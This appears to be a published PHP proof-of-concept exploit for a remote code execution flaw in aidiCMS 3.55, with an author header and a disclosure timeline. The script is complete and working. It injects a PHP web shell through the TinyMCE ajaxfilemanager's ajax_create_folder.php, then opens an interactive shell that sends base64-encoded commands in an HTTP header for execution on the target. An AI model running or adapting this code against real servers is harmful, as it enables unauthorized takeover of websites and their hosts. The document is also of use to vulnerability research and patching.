aidiCMS 3.55 – ‘ajax_create_folder.php’ Remote Code Execution
<?php /* -------------------------------------------------------------------- aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit -------------------------------------------------------------------- author............: Egidio Romano aka EgiX mail..............: n0b0d13s[at]gmail[dot]com software link.....: http://code.google.com/p/aidicms/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerability overview: aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/ [-] Disclosure timeline: [23/10/2011] - Vulnerability discovered [24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3 [26/10/2011] - Project members contacted via e-mail [04/11/2011] - Still no response received [05/11/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "\n+-----------------------------------------------------+"; print "\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |"; print "\n+-----------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /aidicms/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>"; $packet = "POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\naidicms-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?> |